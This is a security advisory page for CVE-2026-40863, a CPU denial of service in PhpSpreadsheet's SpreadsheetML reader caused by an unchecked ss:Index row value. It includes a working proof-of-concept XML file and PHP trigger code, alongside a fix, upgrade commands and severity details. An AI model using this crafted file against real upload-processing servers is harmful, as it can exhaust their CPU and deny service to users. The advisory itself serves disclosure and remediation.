Loading...
Skip to main content

CVE-2026-40863 — Vulnerability in phpoffice/phpspreadsheet — CVE...

HIGH

PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

Published April 29, 2026Updated May 13, 2026Source: osv

Summary

## Summary The SpreadsheetML XML reader (`Reader\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index="999999999"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. ## Details In `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Row>` elements: ```php // Xml.php:397-402 if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW } if (isset($row_ss['Hidden'])) { $rowVisible = ((string) $row_ss['Hidden']) !== '1'; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible); } ``` The `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`: ```php // Worksheet.php:1342-1351 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` This inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`. The `RowIterator` constructor uses `getHighestRow()` as its default end row: ```php // RowIterator.php:84-88 public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->subject->getHighestRow(); return $this; } ``` With `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells. Even without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability. ## PoC 1. Create `poc.xml`: ```xml <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"> <Worksheet ss:Name="Sheet1"> <Table> <Row ss:Index="999999999" ss:Hidden="1"/> <Row><Cell><Data ss:Type="String">test</Data></Cell></Row> </Table> </Worksheet> </Workbook> ``` 2. Load and iterate: ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xml'); $spreadsheet = $reader->load('poc.xml'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Outputs: Highest row: 1000000000 // This loop will attempt ~1 billion iterations → CPU exhaustion foreach ($sheet->getRowIterator() as $row) { // Never completes } ``` ## Impact Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by: - Exhausting server CPU with a single small XML file (~300 bytes) - Blocking the PHP worker process, potentially affecting all concurrent users - Triggering PHP max_execution_time limits that still consume resources before killing the process The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file. ## Recommended Fix Add MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`: ```php // After line 398: if (isset($row_ss['Index'])) { $rowID = (int) $row_ss['Index']; if ($rowID > AddressRange::MAX_ROW) { $rowID = AddressRange::MAX_ROW; } } ``` Add the necessary import at the top of the file: ```php use PhpOffice\PhpSpreadsheet\Cell\AddressRange; ``` The same validation should also be applied to the `ss:Index` attribute on `<Cell>` elements (line 409) for the column dimension.

Advisory Timeline

  • First published April 29, 2026 (166 days ago).
  • Last revised May 13, 2026 — 14 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update phpoffice/phpspreadsheet to 5.7.0 or later
composer require "phpoffice/phpspreadsheet:^5.7.0"
Composer
Update phpoffice/phpspreadsheet to 3.10.5 or later
composer require "phpoffice/phpspreadsheet:^3.10.5"
Composer
Update phpoffice/phpspreadsheet to 1.30.4 or later
composer require "phpoffice/phpspreadsheet:^1.30.4"
Composer
Update phpoffice/phpspreadsheet to 2.1.16 or later
composer require "phpoffice/phpspreadsheet:^2.1.16"
Composer
Update phpoffice/phpspreadsheet to 2.4.5 or later
composer require "phpoffice/phpspreadsheet:^2.4.5"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (5)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
phpoffice/phpspreadsheet
packagist
4.0.0, 4.1.0, 4.2.0, 4.3.0 (+10 more)5.7.0
phpoffice/phpspreadsheet
packagist
3.10.0, 3.10.1, 3.10.2, 3.10.3 (+11 more)3.10.5
phpoffice/phpspreadsheet
packagist
1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0 (+57 more)1.30.4
phpoffice/phpspreadsheet
packagist
2.0.0, 2.1.0, 2.1.1, 2.1.10 (+12 more)2.1.16
phpoffice/phpspreadsheet
packagist
2.2.0, 2.2.1, 2.2.2, 2.3.0 (+14 more)2.4.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-400
    Uncontrolled Resource ConsumptionMITRE
  • CWE-770
    Allocation of Resources Without LimitsMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2026-40863?
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-40863?
CVE-2026-40863 affects phpoffice/phpspreadsheet. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40863 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-84wq-86v6-x5j6

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies